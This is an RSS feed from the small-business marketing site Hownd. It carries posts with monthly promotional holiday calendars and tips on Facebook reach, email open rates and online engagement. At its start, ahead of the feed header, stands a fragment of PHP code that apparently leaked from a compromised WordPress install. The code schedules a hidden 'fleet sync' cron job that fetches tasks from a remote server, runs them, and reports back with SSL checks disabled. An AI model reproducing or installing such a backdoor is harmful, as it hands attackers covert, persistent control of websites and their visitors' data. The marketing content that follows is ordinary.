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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Local Business Archives - Hownd® https://hownd.com/category/local-business/ The Experience Promotion Platform™ Mon, 04 Dec 2023 21:56:14 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 https://hownd.com/wp-content/uploads/2020/07/cropped-h-favicon2-32x32.png Local Business Archives - Hownd® https://hownd.com/category/local-business/ 32 32 Inspiration Calendar: December 2023 Promotional Marketing Ideas https://hownd.com/inspiration-calendar-december-2023-promotional-marketing-ideas/ Mon, 04 Dec 2023 21:56:10 +0000 https://hownd.com/?p=13694 Discover our December 2023 Inspiration Calendar! From gourmet feasts to quirky holidays, explore with us. Click to join the celebrations!

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]]>

Get ready to offer hot deals to beat the winter chill and help families gear up for winter festivities and the New Year!

With Hownd, you can schedule your campaigns to ensure your promotions are ready to make the most of this busy shopping period. Celebrate the season with great experiences and promotions!

Need help coming up with promo ideas?
We’ve made a list of events for December 2023 to inspire your next offer! Here are a couple of this month’s highlights:

christmas-2971961_1920

Christmas

As the festive spirit envelops us, Christmas kindles a sense of togetherness, anticipation, and joy. It weaves narratives that resonate deeply, connecting people through shared traditions, cherished moments, giving, and goodwill. Christmas, in its amalgamation of traditions and importance in commerce, is a cultural phenomenon celebrated worldwide.

wine-6688901_1920_cropped

New Years Eve

New Year’s Eve embodies more than just a countdown—it epitomizes the culmination of aspirations and the allure of fresh beginnings. Marketing during this momentous time shouldn’t merely promote parties and festivities. Amplify the essence of reflection, renewal, and hope. Craft narratives that inspire introspection, promp resolutions, and foster optimism. Show customers the beauty of second chances and the thrill of embarking on uncharted journeys.

Check out inspirational dates for the whole month in our table below!

DATE EVENT
Month

 
01

– National Christmas Lights Day

– National Cookie Cutter Day

– National Peppermint Bark Day
02

– National Bartender Day
03

– Candle Day

– Coats and Toys for Kids Day

– Let’s Hug Day

– National Green Bean Casserole Day

– National Make a Gift Day
04

– Global Fat Bike Day

– National Cookie Day

– National Dice Day
05

– International Ninja Day

– International Volunteer Day

– Krampusnacht

– Light up A Life Day

– Walt Disney Day
06

– National Gazpacho Day

– World Trick Shot Day
07

– Hanukkah/Chanukah – Starts

– Pearl Harbor Remembrance Day

– National Cotton Candy Day

– National Letter Writing Day
08

– Christmas Jumper Day

– National Brownie Day
09

– Christmas Card Day

– Genocide Prevention Day
10

– Nobel Prize Day

– Worldwide Candle Lighting Day

– National Lager Day
11

– International Mountain Day

– National App Day
12

– Gingerbread House Day

– National Poinsettia Day
13

– National Cream Cheese Frosting Day

– National Horse Day

– National Ice Cream Day

– National Violin Day
14

– Free Shipping Day

– Monkey Day

– National Energy Conservation Day

– Roast Chestnuts Day
15

– Hanukkah/Chanukah – Final Day

– Cat Herders Day

– International Tea Day

– National Cupcake Day
16

– National Chocolate Covered Anything Day

– National Underdog Day
17

– Wright Brothers Day

– Festival of Winter Walks

– National Device Appreciation Day

– National Maple Syrup Day
18

– Answer The Telephone Like Buddy The Elf Day

– Bake Cookies Day
19

– National Hard Candy Day

– National Oatmeal Muffin Day
20

– Games Day

– Go Caroling Day
21

– Winter Solstice

– World Snowboard Day
22

– National Cookie Exchange Day

– National Date Nut Bread Day
23

– Festivus

– National Christmas Movie Marathon Day
24

– Christmas Eve

– Last-Minute Shopper’s Day

– National Eggnog Day
25

– Christmas Day (Federal Holiday)

– National Pumpkin Pie Day
26

– Kwanzaa -until Jan 1

– National Candy Cane Day
27

– International Day of Epidemic Preparedness

– National Fruitcake Day

– National Make Cut-Out Snowflakes Day
28

– National Chocolate Candy Day

– National Call a Friend Day
29

– Pepper Pot Day

– Still Need To Do Day
30

– National Bacon Day
31

– New Years Eve

– Make Up Your Mind Day

– World Peace Meditation Day

See an event that inspires you? Log in to your account and submit your promo offer today!

Questions about promotions?
Click here.

If you need help creating or scheduling a promotion, don’t hesitate to reach out! We’re here to make it as easy as possible to get the most out of Hownd!

Can’t wait to hear from you.

Hownd Customer Support
support@hownd.com
+1 (877) 397-2410

The post Inspiration Calendar: December 2023 Promotional Marketing Ideas appeared first on Hownd®.

]]> How Small and Local Businesses Can Reach More People on Facebook https://hownd.com/how-small-and-local-businesses-can-reach-more-people-on-facebook-2/ Wed, 18 Oct 2023 17:17:12 +0000 https://hownd.com/?p=13636 Over the past few months, there has been a sharp decline in how frequently Business Pages appear in user’s News Feeds for free- something called organic reach. How Small and Local Businesses Boost Reach on Facebook has become a central concern in recent times. With dwindling organic reach, these businesses are seeking effective strategies to […]

The post How Small and Local Businesses Can Reach More People on Facebook appeared first on Hownd®.

]]> Over the past few months, there has been a sharp decline in how frequently Business Pages appear in user’s News Feeds for free- something called organic reach. How Small and Local Businesses Boost Reach on Facebook has become a central concern in recent times. With dwindling organic reach, these businesses are seeking effective strategies to enhance their visibility and engagement.

Facebook points to two major reasons for this decline.

Business owner utilizing Facebook strategies, exemplifying how small and local businesses boost reach on Facebook.

1. Why Small Businesses Struggle to Boost Reach on Facebook: Content Saturation.

  • According to their blog, on average there are 1,500 stories that could appear in a person’s News feed each time they log on. Of those 1,500 stories, Facebook displays about 300.
  • As more businesses get on Facebook, it is getting harder to be one of those selected 300 stories.

2. Facebook is only showing what they think each person wants to see. There are a few Facebook uses to decide whether or not to show a post to users:

  • Did you show a post type (photo v. text v. video) that gets the most interaction? Generally photos and videos receive the most comments and likes.
  • Have users hid or reported any of your posts spam?
  • What kind of relationship do you have with a user? How much do they interact with you?
  • Is your post old? The longer it’s around, the less likely it will be shown.

This can be hard for small businesses that may not have the time or the resources to spend hours cracking the new system. While there is still a lot of ambiguity around how it all works, there are some things you can take into consideration next time you sign on to post to your fans.

Strategies: How Small and Local Businesses Boost Reach on Facebook

Engaging Content: The Key to Boosting Facebook Reach for Businesses.

How Small and Local Businesses Boost Reach on Facebook? Engaging content is content that people want to like, comment on, or share. This could mean funny photos, questions, contests, or special offers. Facebook gives top priority to videos and photos.

Statistics showing the impact of photos on Facebook engagement: highlighting how visual content, paired with humorous copy, can amplify reach for small and local businesses.
Photos on Facebook photos get 53% more likes, 104% more comments, and 84% more clicks on links than text-based posts. Combine that with good, funny copywriting and your fans will be sharing your posts to their friends in no time.

If a customer posts with a question, be sure to respond. Facebook takes note of when people are talking about a news story, making it more likely that content from that person or page will be shown again.

As a warning, Facebook will also remember if a user hides or marks a story as spam. While you can’t cater to every person on Facebook, you can try to make sure your content is valuable to the majority of your customers.

Feature in the top right corner enabling users to 'hide' content from a business page, underscoring the importance for small and local businesses to boost reach on Facebook with quality content.
In the right hand corner, users can click on a button that allows them to “hide” everything from a business page or even mark it as spam.

Making sure you have good content also keeps Facebook from “hiding” your posts in the future. If a user marks your post as spam, Facebook is much less likely to show your posts to your fans and their friends.

Make some more room in the budget to pay Facebook.

Although Facebook claims these changes are not to encourage people to pay to promote their posts, paying for fans and ads will make your posts more successful. In fact, if you don’t, expect an average of six people to see your content for every 100 fans you have.

Facebook now offers several ways to boost or promote your posts on Facebook. When you start paying for Facebook, be sure your content is engaging to make the most of your budget.

Functionality on Facebook for 'Boosting posts' allows targeted reach based on demographics like age and gender, a tactic for how small and local businesses boost their visibility on the platform.
Facebook allows you to “Boost posts” to reach more of your fans and their friends. You can even choose who they show it to based on things like age, gender, and interests.

Click here to learn more about how to get started with Facebook ads.

Keep posting and keep track of what’s working and what’s not.

Use tools like Buffer, Hootsuite, and Bitly to keep track of how many people are clicking on your links, what times are most active, and what types of content (articles, photos, videos, questions) are getting the most engagement.

Bitly is a free link-tracking service that provides real-time data for who's clicking your links, where they're clicking it, and where else they're sharing it.
Bitly is a free link-tracking service that provides real-time data for who’s clicking your links, where they’re clicking it, and where else they’re sharing it.

Set aside 10 minutes a day to take add content to these services (most of which post automatically throughout the day) and see how things are going.

Don’t fall for fake likes.

It can be tempting to try and win the popularity contest by buying fake likes. Fake likes are different from getting likes from paid ads because fake likes come from spammy, fake automated accounts that go around clicking on every page whether they actually like it or not.

Having fake likes hurts your business because it lowers your engagement metric. Fake likes won’t comment on or share your posts to their friends. As of now, we know that Facebook shows your post to a small percentage of users to test how engaging it is. If it does well, it will show it to more people. So if your engagement is low because you are showing your posts to robots or fake accounts, Facebook is less likely to show your post to your real customers and your reach will remain low.

You can view your engagement metric on your Facebook page by clicking on the "Insights" tab.
You can view your engagement metric on your Facebook page by clicking on the “Insights” tab.

The More You Reach, the More You Grow

Facebook has over 1.2 billion monthly active users, many of whom are looking to connect with their favorite local businesses. Even though Facebook might be changing how often your posts appear to those users, it is still a profitable avenue for growing your business. Understanding the changes and taking steps to adjust how you post to your fans can make all the difference and can affect how small and local businesses boost reach on Facebook.

Are you not reaching your fans on Facebook? Hownd has helped hundreds of small and local businesses get more clicks on Facebook and growth for their business. To learn more about our platform, click here.

The post How Small and Local Businesses Can Reach More People on Facebook appeared first on Hownd®.

]]> Inspiration Calendar: October 2023 Promotional Marketing Ideas https://hownd.com/inspiration-calendar-october-2023-promotional-marketing-ideas/ Mon, 02 Oct 2023 16:52:26 +0000 https://hownd.com/?p=13650 Discover the Inspiration Calendar September 2023! From gourmet feasts to quirky holidays, explore with us. Click to join the celebrations!

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Unveiling our Inspiration October Calendar 2023, a curated collection of promotional marketing ideas tailored for the upcoming month.

Teacher’s Day

As the leaves 🍂 turn golden and autumn 🍁 whispers its melodies, October unveils itself not just as a month of cozy gatherings 🍵 and pumpkin delights 🎃, but also as a beacon of gratitude for our unsung heroes – our teachers 👩‍🏫👨‍🏫. Celebrating ‘Teacher’s Month’ is our ode to these passionate souls who ignite 🔥 curiosity, foster dreams 🌠, and shape futures 🌍. From chalkboards 🖍 to digital screens 🖥, their dedication transcends boundaries, making every lesson a memorable journey 📚. This month, let’s pay homage to their undying spirit and thank them 🙏 for the countless ways they touch our lives, every day.

National Pumpkin Month

As the amber leaves 🍂 blanket the ground and crisp breezes 🌬 signal the heart of fall, October stands proud, heralding not just the whispers of autumn but the vibrant celebration of pumpkins 🎃. Embracing ‘Pumpkin Month’, we delve into the world of these orange wonders – from Jack-o’-lantern masterpieces 🕯 to heartwarming pumpkin spiced lattes ☕. This iconic symbol of fall is much more than a decorative centerpiece; it’s a testament to harvest-time joys 🌾 and the cozy embrace of the season. So, let’s pay tribute to the pumpkin’s charm, savor its flavors, and immerse in the festivities that await.

Halloween

Get ready for Halloween! Spooky delights, eerie sights, and a toast to the wickedly creative! Let’s celebrate every thrill with laughter and the haunting glow of jack-o’-lanterns. Here’s to a night of frights, well deserved! 🎃👻🕷

With Hownd, you can schedule your campaigns to make the most of the upcoming Labor Day festivities. Why not roll out some sizzling deals to complement the summer’s end? Honor the hardworking spirit with fantastic experiences and promotions!

See an event that inspires you? Log in to your account and submit your promo offer today!

Check out inspirational dates for the whole month in our table below!

DATE EVENT
Month

ADHD Awareness Month

AIDS Awareness Month

Breast Cancer Awareness Month

Depression Awareness Month

National Book Month

National Pumpkin Month
01

International Coffee Day

National Homemade Cookies Day  

Balloons Around the World Day

Change A Light Day

Cyprus Independence Day

Filipino American History Month

International Day of Older Persons

International Music Day

Investiture Ceremony of the Captains Regent

Model T Day

National Day of China

National Fire Pup Day

National Lace Day

Tuvalu Independence Day
02

International Day of Non-Violence

National Child Health Day

National Custodian Day

National Fried Scallops Day

National Michelle Day

National Report Long Term Acute Care Hospital Fraud Day

World Architecture Day

03

Mean Girls Day

National Boyfriend Day

National Kevin Day

National Techies Day

National Unity Day

04

National Cinnamon Roll Day

National Taco Day

Coffee with a Cop Day

Improve Your Office Day

International Walk to School Day

Lesotho Independence Day

National Golf Lovers Day

National Kale Day

National Pumpkin Seed Day

National Truckers Appreciation Day

Semana Morazánica

World Animal Day

World Habitat Day

05

National Do Something Nice Day

World Teachers’ Day

National Above the Bus Day

National Apple Betty Day

National Be Nice Day

National Caribbean Civility Day

National Depression Screening Day

National Get Funky Day

National Rhode Island Day

06

National Noodle Day

World Smile Day

Manufacturing Day

National German-American Day

National Isabella Day

National Mad Hatter Day

National Orange Wine Day

National Plus Size Appreciation Day

World Cerebral Palsy Day

07

Albuquerque International Balloon Fiesta

Frugal Fun Day

International Day of Peaceful Communication

National Forgiveness & Happiness Day

National Inner Beauty Day

National LED Light Day

Shemini Atzeret

World Card Making Day

08

National Pierogi Day

International Birth Registration Day

International Newspaper Carrier Day

National Fluffernutter Day

National Harbormaster Appreciation Day

National Heroes’ Day

National Lance Day

National Salmon Day

Pastor Appreciation Day

White Sunday

World Dyslexia Day

09

Indigenous Peoples’ Day

National C60 Day

World Post Day

Columbus Day

Health and Sports Day (Japan)

Independence of Guayaquil

International Beer and Pizza Day

Leif Erikson Day

National Kick Butt Day

National Moldy Cheese Day

National Native American Day
10

World Mental Health Day

ADA Lovelace Day

Fiji Day

International Stage Management Day

National Angel Food Cake Day

National Cake Decorating Day

National Face Your Fears Day

National Handbag Day

National Hug a Drummer Day

National Hug a Kevin Day

Taiwan: National Day / Double Ten day

World Homeless Day

World Plant-Based Burger Day
11

National Coming Out Day

National Pet Obesity Day

National Sausage Pizza Day

Black Girl Day Off

Emergency Nurses Day

General Pulaski Memorial Day

International Day of the Girl Child

International Top Spinning Day

It’s My Party Day

National Bring Your Teddy Bear to School Day

National Curves Day

National Fossil Day

National Kim Day

National Kimberly Day

National Spread Joy Day

National Stop Bullying Day

National Take Your Parents To Lunch Day

Southern Food Heritage Day
12

Day of Respect For Cultural Diversity

Día de la Raza

Equatorial Guinea Independence Day

Harry Potter Book Day

Indigenous Resistance Day

Indigenous Resistance Day in Venezuela

Lady of Aparecida

Mexico: Day of the Pluricultural Nation

National Freethought Day

National Gumbo Day

National Martin Day

National Pulled Pork Day

National Savings Day

National Vermont Day

Spain Hispanic Day

Uruguay Day of Cultural Diversity/Day of the Races

World Arthritis Day

World Sight Day
13

Disaster Day

International Day for Disaster Risk Reduction

International Day for Natural Disaster Reduction

International Skeptics Day

Metastatic Breast Cancer Awareness Day

National Herpes Awareness Day

National M&M Day

National Train Your Brain Day

National Transfer Money to Your Son Day

National Yorkshire Pudding Day

Navy Birthday

Prince Louis Rwagasore Day

Vet Nurse Day
14

Be Bald and Be Free Day

Day of the Defender

Mwalimu Nyerere Day

National Costume Swap Day

National Motorcycle Ride Day

National Ryan Day

National Veronica Day

Universal Music Day

World Hospice and Palliative Care Day
15

Dashain

Global Handwashing Day

Mother’s Day in Malawi

Mysore Dasara

National Aesthetician Day

National Cheese Curd Day

National HSA Awareness Day

National I Love Lucy Day

National Latino AIDS Awareness Day

National Lemon Bar Day

National Mushroom Day

National Roast Pheasant Day

Shine a Light Night

Tunisia: Evacuation Day

World Students’ Day
16

Day of the Races

Dictionary Day

Heroes and Forefathers Day

National Department Store Day

National Eddie Day

National Heroes’ Day of Jamaica

World Allergy Awareness Day
17

National Clean Your Virtual Desktop Day

National Pasta Day

Dessalines Day

National Catholic Men’s Conference Day

National Edge Day

National Mulligan Day

National Pay Back a Friend Day

National Pharmacy Technician Day

Pro-Life Day of Silent Solidarity

Wear Something Gaudy Day

Women in Military Service for America Memorial Anniversary
18

National Chocolate Cupcake Day

Hagfish Day

Health Care Aide Day

National Alaska Day

National BRA Day

National Ken Day

National Louie Day

National Mark Day

National Mashed Potato Day

National No Beard Day

National Sunday Day

Ride To Work Day

Support Your Local Chamber of Commerce Day

 
19

International Credit Union Day

National New Friends Day

Conflict Resolution Day

Evaluate Your Life Day

International ShakeOut Day

LGBT Center Awareness Day

National Get Smart About Credit Day

National Kentucky Day

National Seafood Bisque Day

World Pediatric Bone and Joint Day
20

World Osteoporosis Day

Hawke’s Bay Anniversary Day

Information Overload Day

Miss American Rose Day

National Brandied Fruit Day

National Day on Writing

National Jeff Day

National Lane Day
21

National Apple Day

National Fetch Day

Sweetest Day

Armed Forces Day in Honduras

Back to the Future Day

Bridge Day

Celebration of the Mind Day

Count Your Buttons Day

International Raw Milk Cheese Appreciation Day

International Sloth Day

Loud Shirt Day

National Archives Day

National Check Your Meds Day

National Pets for Veterans Day

National Pumpkin Cheesecake Day

National Raymond Day

National Reptile Awareness Day

Nepal: Phulpati
22

National Nut Day

Durga Ashtami

International Caps Lock Day

International Stuttering Awareness Day

Masskara Festival

National Anna Day

National Kristopher NaJee Roebuck Day

National Lauren Day

National Make a Dog’s Day

National Mother-in-Law Day

National Scar Appreciation Day

Newport Wales Marathon
23

Slap Your Annoying Coworker Day

Chulalongkorn Day / Piyamararaj Day

Mahanavami

National Boston Cream Pie Day

National Croc Day

National iPod Day

National Mole Day

New Zealand Labour Day
24

Janmostav of Srimatna Sankardev

National Bologna Day

National Elizabeth Day

National Food Day

National Jamaican Jerk Day

National Kangaroo Awareness Day

National Senior UTI Awareness Day

United Nations Day

Vijayadashami

World Development Information Day

World Polio Day
25

Anniversary of Philippine Military Academy

Geelong Cup Day

International Artist Day

Lung Health Day

National Chucky The Notorious Killer Doll Day

National Danielle Day

National Fine Art Appreciation Day

National Hope for Henry Day

National Yasmin Day

Punk For A Day Day
26

Accession Day

Austrian National Day

National Chicken Fried Steak Day

National Financial Crime Fighter Day

National Mincemeat Day

National Mule Day

National Noah Day

National Tennessee Day

National Vivace Microneedling Day
27

National American Beer Day

National Black Cat Day

Bandana Day

Cranky Co-Workers Day

Frankenstein Friday

Global Champagne Day

National Henry C. Ramos Day

National Mentoring Day

National Pharmacy Buyer Day

World Day for Audiovisual Heritage
28

National Chocolate Day

National Pit Bull Awareness Day

Czech Founding Day

Hug a Sheep Day

Lao: End of Buddhist Lent Day

Make a Difference Day

Myanmar Full Moon of Thadingyut

National Caroline Day

National First Responders Day

National William Day

Ohi Day
29

National Cat Day

National Internet Day

National Hermit Day

National Oatmeal Day

National Prescription Drug Take Back Day

Visit A Cemetery Day

World Psoriasis Day

World Stroke Day
30

National Checklist Day

Create a Great Funeral Day

Haunted Refrigerator Night

Mischief Night

National Candy Corn Day

National Publicist Day

National Speak Up For Service Day

National Text Your Ex Day

National Treat Your Pet Day
31

Halloween

National Caramel Apple Day

National Unity Day (Rashtriya Ekta Diwas)

Books For Treats Day

Girl Scout Founder’s Day

Magic Day

National Doorbell Day

National Knock Knock Joke Day

Reformation Day

World Savings Day

From National Pumpkin Day to Halloween, the ‘Inspiration October Calendar 2023’ has got you covered.

Questions about promotions?
Click here.

If you need help creating or scheduling a promotion, don’t hesitate to reach out! We’re here to make it as easy as possible to get the most out of Hownd!

Can’t wait to hear from you.

Hownd Customer Support
support@hownd.com
+1 (877) 397-2410

The post Inspiration Calendar: October 2023 Promotional Marketing Ideas appeared first on Hownd®.

]]> Why Nobody Is Opening (Let Alone Reading) Your Emails https://hownd.com/why-is-nobody-opening-let-alone-reading-your-emails/ Thu, 14 Sep 2023 05:22:01 +0000 https://hownd.com/?p=13560 Find out Why Nobody Is Opening Your Emails and learn actionable steps to improve your email marketing strategy

The post Why Nobody Is Opening (Let Alone Reading) Your Emails appeared first on Hownd®.

]]> Sending out promotional emails often leads one to a nagging question: ‘Why Is Nobody Opening Your Emails?’ If it feels like you’re shouting into a void, you’re not alone. We’ve identified several common reasons why nobody is opening your emails. This article will explore the common reasons why emails go unread and how to fix it.

A good first step to understand and resolve this problem is by checking something called your email open rate. This is the number of people who open an email out of the number of people who received your email. If you’re using an email provider like MailChimp or Constant Contact you can view your email open rate from your dashboard.

Healthy email marketing plans that drive revenue and retention clock in at an open rate of 20% or higher. If your open rate is below 20%, there are a few quick fixes you can address to get people opening and reading your emails.

Illustration of effective email marketing strategies and metrics on a computer screen
Optimize Healthy Email Marketing, Get Your Edge.

Why Nobody Is Opening (Let Alone Reading) Your Emails

1. Why Nobody Is Opening Your Emails: The Common Mistakes

A user effortlessly navigating a mobile-optimized email list on their smartphone
The importance of mobile optimization for your emails.

In 2013, more than 50% of all emails were opened on a mobile device. This means that it’s more important than ever to write and design emails that look good on a mobile phone – otherwise they’ll go right in the trash. Keep your subject lines short (about 30 characters or so) will make sure that your customers can easily read the whole thing on their minimized screens.

2. It Looks Like Spam

It’s tempting to try and create a sense of urgency with email subject lines like “FREE gift today only!” or “HUGE sale!!”. How could someone not open that email? In today’s world of email spam, these subject lines look suspicious and unverified even if they’re from genuine subscribers. How to Tackle the ‘Nobody Is Opening My Emails’ Problem? The problem is that spam senders use titles like these all the time and will create a false sense of confidence with your customers.

There is still some value to sending emails with subject lines like these but you should make sure to provide more context around what it is that you’re provide to demonstrate that you’re a legitimate business. “FREE gift today only!” could be “A free birthday gift from [your business name]”.

A cluttered inbox filled with various spam emails from different senders.
Avoid making your emails look like spam to get better open rates.

3. Why Is Nobody Opening Your Emails: Overcoming the Challenges

A bad email list is one that is bought or collected without the permission of the email address owner. As you can imagine, people are very reluctant to open emails or let alone read emails from people they don’t know or have ever given their information to. Not only will your email go straight to the trash, but you may face some brand tarnishing or even legal issues.

For more information on bad email lists read:

8 Reasons You Should Never Buy an Email List

Why Your Business Can’t Afford To Use Purchased Email Lists

Display of a well-structured email list, perfectly optimized for viewing on a mobile screen.
The first step to better open rates is a high-quality email list

When you’re not seeing the results you want, it’s easy to throw in the towel and believe that email marketing is simply not worth the time or effort. It turns out that email marketing is still one of the best channels out there for communicating with customers – 77% of consumers prefer to hear from a business via email. Combine that with the fact that more than 90% of consumers check their email every day and it becomes hard to say no to email marketing. Even if it’s a simple newsletter or annual discount, email marketing is an important and beneficial strategy to growing any small business.

The post Why Nobody Is Opening (Let Alone Reading) Your Emails appeared first on Hownd®.

]]> Inspiration Calendar: September 2023 Promotional Marketing Ideas https://hownd.com/inspiration-calendar-september-2023-promotional-marketing-ideas/ Wed, 30 Aug 2023 20:00:34 +0000 https://hownd.com/?p=13556 Need help coming up with promo ideas?We’ve made a list of events for September 2023 to inspire your next offer! Labor Day Gear up for Labor Day! Sun, fun, and a toast to the tireless! Let’s celebrate every effort with laughter and BBQ sizzle. Here’s to a day off, well deserved! With Hownd, you can […]

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Need help coming up with promo ideas?
We’ve made a list of events for September 2023 to inspire your next offer!

Bold-Typography-Happy-Labor-Day-Instagram-Post-2-2

Labor Day

Gear up for Labor Day! Sun, fun, and a toast to the tireless! Let’s celebrate every effort with laughter and BBQ sizzle. Here’s to a day off, well deserved!

With Hownd, you can schedule your campaigns to make the most of the upcoming Labor Day festivities. Why not roll out some sizzling deals to complement the summer’s end? Honor the hardworking spirit with fantastic experiences and promotions!

See an event that inspires you? Log in to your account and submit your promo offer today!

 

Check out inspirational dates for the whole month in our table below!

pexels-alexander-suhorucov-6457562

Business Women’s Day

Celebrate Business Women’s Day by acknowledging the accomplishments and contributions of women in the business world. This day serves as a reminder of the importance of women in leadership roles and their impact on the global economy.

See an event that inspires you? Log in to your account and submit your promo offer today!

Check out inspirational dates for the whole month in our table below!

 

 

DATE EVENT
Month

National Condiment Month

National Honey Month

National Organic Month

National Yoga Awareness Month
01

American Chess Day

Cherry Popover Day

National Acne Positivity Day

National Lazy Mom’s Day

National Tofu Day

Better Breakfast Month
02

International Bacon Day

Franchise Appreciation Day

World Coconut Day
03

National Doodle Day

National Waffle Week

National Pet Rock Day
04

Labor Day

Eat an Extra Dessert Day

National Macadamia Nut Day
05

National Cheese Pizza Day

National Cellulite Day

World Samosa Day
06

National Coffee Ice Cream Day

National Read a Book Day
07

National Acorn Squash Day

National Beer Lovers Day

National Feel the Love Day

National First Day of Peel Season

National Salami Day
08

National Dog Walker Appreciation Day

World Physical Therapy Day
09

National Wiener Schnitzel Day

Teddy Bear Day

Wonderful Weirdos Day
10

Hug Your Hound Day

Harvest Moon Festival
11

National Hot Cross Bun Day

Patriot Day
12

National Ants on a Log Day

National Chocolate Milkshake Day

National Video Games Day
13

Defy Superstition Day

International Chocolate Day

National Peanut Day

Positive Thinking Day

National Eczema Week
14

National Cream Filled Donut Day

National Eat a Hoagie Day

National Food Is Medicine Day

National Live Creative Day
15

Butterscotch Cinnamon Pie Day

National Cheese Toast Day

National Creme de Menthe Day

World Afro Day
16

Batman Day

Mexican Independence Day

National Choose Your Chocolate Day

National Cinnamon Raisin Bread Day

Oktoberfest
17

National Monte Cristo Day

National Apple Dumpling Day
18

National Cheeseburger Day

World Reflexology week

Rice Krispies Treats Day
19

National Meow Like a Pirate Day

Talk Like a Pirate Day
20

National Fried Rice Day

National Queso Day

National String Cheese Day
21

Miniature Golf Day

National Pecan Cookie Day

World Gratitude Day
22

American Business Women’s Day

National Ice Cream Cone Day

National Elephant Appreciation Day

National Singles Day

National White Chocolate Day
23

Celebrate Bisexuality Day

National Bunny Day

National Go With Your Gut Day

National Great American Pot Pie Day
24

National Horchata Day

National Cherries Jubilee Day
25

National Comic Book Day

National Lobster Day

National Food Service Employee Day

National Quesadilla Day

International Week of Happiness at Work 
26

National Chimichanga Day

National Dumpling Day

National Pancake Day
27

National Chocolate Milk Day

National Corned Beef Hash Day 

World Tourism Day
28

National Strawberry Cream Pie Day
29

National Biscotti Day
30

International Podcast Day

National Hot Mulled Cider Day

National Ghost Hunting Day

World’s Biggest Coffee Morning

 

Questions about promotions? Click here.

If you need help creating or scheduling a promotion, don’t hesitate to reach out! We’re here to make it as easy as possible to get the most out of Hownd!

Can’t wait to hear from you.

Hownd Customer Support
support@hownd.com
+1 (877) 397-2410

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]]> Web Traffic Maximizing: How to Turn Visitors into Loyal Customers https://hownd.com/maximizing-web-traffic/ Wed, 23 Aug 2023 08:09:22 +0000 https://hownd.com/?p=13536 Maximize web traffic with Hownd. Turn visitors into loyal customers with compelling offers, clear CTAs, and consistent delivery.

The post Web Traffic Maximizing: How to Turn Visitors into Loyal Customers appeared first on Hownd®.

]]>
In the digital age, web traffic is the lifeblood of businesses aiming to reach a wider audience. Yet, with this vast digital ocean comes the challenge of ensuring your business doesn’t just become a drop in it. How do you keep visitors on your site and turn them into customers?
(more…)

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]]> Engage Digitally: How Small Businesses Can Shine Online https://hownd.com/engage-digitally-how-small-businesses-can-shine-online/ Wed, 16 Aug 2023 16:10:16 +0000 https://hownd.com/?p=13534 Potential customers can decide to engage with your brand or explore other options in minutes, use these engagement strategies to entices new customers.

The post Engage Digitally: How Small Businesses Can Shine Online appeared first on Hownd®.

]]> In today’s digital age, consumers are increasingly turning to the internet to engage with local businesses. With a plethora of options at their fingertips, how can your business capture their attention and stand out?

First impressions are pivotal. Within mere moments, potential customers decide whether to engage with your brand or explore other options. Here are five strategies to ensure your business leaves a lasting impression and entices new customers to walk through your doors.

5 Strategies to Amplify Your Online Presence

1. Stay Vibrant Online

Keep your website active, like a welcoming campfire. ❤

Think of your online presence as a beacon, drawing customers to your brand. Imagine a potential customer wanting to explore your restaurant’s latest menu or check out ongoing promotions. If they encounter an outdated website or a dormant Facebook page, it might raise red flags.  A dynamic online presence not only boosts credibility but also signals that your business is thriving and up-to-date.

2. Celebrate and Reward Loyalty

Unlock enduring connections with the magic of give and take! 🌟

Building a loyal customer base is invaluable. These are individuals who not only repeatedly choose your brand but also advocate for it.  Personalize their experience. Use data analytics to understand their preferences and tailor offers accordingly.  Host exclusive events or webinars for your most loyal customers, giving them a sneak peek into upcoming products or services.

3. Leverage Authentic Reviews

Customer giving 5 star Review

 Authenticity is key in today’s market. Encourage your satisfied customers to leave reviews on platforms like Google, Yelp, and Trustpilot.  But don’t stop there.  Engage with these reviews, thanking customers for positive feedback and addressing any concerns raised in less favorable reviews.  This proactive approach not only builds trust but also showcases your commitment to customer satisfaction.

4. Engage with Compelling Visuals

Capture eyes, win hearts: post stunning content 📸

Engaging visuals can elevate your online content. Research by Li & Xie indicates that impactful images can boost user engagement. Furthermore, Unbounce suggests that videos can enhance conversions. However, it’s essential to ensure that visuals enhance, not hinder, the user experience.

5. Meet Your Customers Where They Are

 With the majority of online engagement happening on mobile devices, ensuring your website and online content are mobile-friendly is crucial.

Be the one they've been searching for!

While these strategies might seem fundamental, it’s surprising how many local businesses are yet to fully embrace the digital realm. By proactively enhancing your online presence, you’re not just keeping up with the competition; you’re setting the pace.

Unlock your small business’s potential with Hownd! Nourish a vibrant customer community and elevate your online stature. Dive in and see the Hownd magic for yourself!

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]]> The Power of Storytelling To Engage Your Audience https://hownd.com/the-power-of-storytelling-to-engage-your-audience/ Wed, 09 Aug 2023 20:11:39 +0000 https://hownd.com/?p=13530 Explore the power of storytelling in marketing with Bob's journey, and learn how to connect with customers uniquely.

The post The Power of Storytelling To Engage Your Audience appeared first on Hownd®.

]]> Here’s an example of a classic story

Meet Bob, the proud owner of Good Eatz. A lifelong cook, Bob’s passion for food and delighting people led him to buy a restaurant three years ago. He believed that his love for culinary arts and customer satisfaction would be the perfect recipe for success. But Bob soon realized he had a problem.

